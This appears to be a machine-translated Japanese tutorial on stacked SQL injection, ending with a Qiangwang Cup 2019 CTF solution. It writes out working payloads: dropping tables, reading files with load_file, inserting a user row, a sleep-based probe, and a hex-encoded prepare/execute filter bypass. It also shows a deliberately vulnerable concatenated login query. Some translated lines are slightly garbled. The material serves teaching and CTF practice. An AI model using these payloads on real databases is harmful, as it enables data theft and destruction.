目次
スタックインジェクション
1. 文法の紹介:
バージョン:
ほぼすべてのリレーショナル データベースに影響を与える可能性があります
原理:
クエリ用に複数のステートメントをスタックし、複数の SQL ステートメントを実行できる
ステートメントはセミコロン (;) で区切られており、インジェクション攻撃はこの機能を使用して 2 番目のステートメントのペイロードを構築します。
アドバンテージ:
ジョイント クエリ ユニオンはステートメントを結合することもできます (制限付き)
ただし、スタックインジェクションでは任意のステートメントを挿入できます。
制限事項:
mysqli_multi_query() 関数を使用して、複数の SQL ステートメントの同時実行をサポートします。
しかし実際には、SQL インジェクションメカニズムを防ぐために、PHP がデータベースを呼び出す関数は mysqli_query() 関数をよく使用します。この関数は 1 つのステートメントのみを実行でき、セミコロン以降の内容は実行されません。
mysqli_query() 関数:
mysqli_query($connection, $query); //$connection:表示与MySQL服务器的连接,可以通过mysqli_connect()函数进行创建。 //$query:表示要执行的SQL查询语句。
使用:
インジェクションポイントがある: SQL インジェクションの脆弱性がある
フィルタなし: 「;」記号はフィルタされません。
無効ではありません: つまり、複数の SQL ステートメントの実行は禁止されていません
ステップ 1: スタックされたクエリを使用して複数のステートメントを構築する
select * from users where id=1;users のようなテーブル テストを作成します。
ステップ 2: ステートメントが正常に実行されたかどうかを確認する
テーブルを表示します。
ステップ 3: テストを削除し、再度クエリを実行する
select * from users where id=1;drop table test;
テーブルを表示します。
(正常に実行されました)
ステップ 4: 他のクエリ ステートメントを実行する
現在のユーザーとデータベースのバージョンを確認します
select * from user where id=1;select 1,user(),database();
その他の操作:
ファイルをロードする
select * from user where id=1;selectload_file('ファイルパス');
データを変更する
select * from user where id=1;insert into user(username,password)values ('よく勉強','123456');
2. 脆弱性の例
コード例:
def login(username, password): query = "SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'" # 执行查询并验证用户登录信息 ...
ログイン関数は、ユーザー名とパスワードをパラメータとして受け取り、SQL クエリ ステートメントを構築します。ただし、入力の検証やエスケープは行わず、ユーザーが指定した入力をクエリ文字列に接続するだけです。
悪意のあるコードなど:
';select sleep(10);--+
クエリ ステートメントは次のようになります。
SELECT * FROM users WHERE username='';select sleep(10);--+' AND password='...'
挿入されたコードが実行されると、sleep(10) 関数が 10 秒の遅延で実行されます。
3. 共通フォーム
例: 「強王杯 2019 カジュアル ベット」
既知: 単語テーブルはコンテンツをエコーできますが、「1919810931114514」テーブルは特定のコンテンツをエコーできません。選択はフィルターされています
1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) ;show columns from words;#
1.スタックインジェクション
'; スタッキングを開始します
RENAME TABLE WordsTOwords1; Words という名前のテーブルの名前を Words1 に変更します。
RENAME TABLE 1919810931114514TOwords; 1919810931114514 という名前のテーブルの名前を Words に変更します
ALTER TABLE WordsCHANGEflag id VARCHAR(100); Words テーブル内の flag という名前の列の名前を id に変更し、そのデータ型を VARCHAR(100) に変更します (最大長は 100 文字)
SHOW COLUMNS FROM Words; 単語テーブルのすべての列とその属性および情報を表示します。
# 残りのコードをコメントアウトします
2. スタックインジェクション + コードバイパスの選択
;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
ネットワークセキュリティ○
GitHub - BLACKxZONE/Treasure_knowledge https://github.com/BLACKxZONE/Treasure_knowledge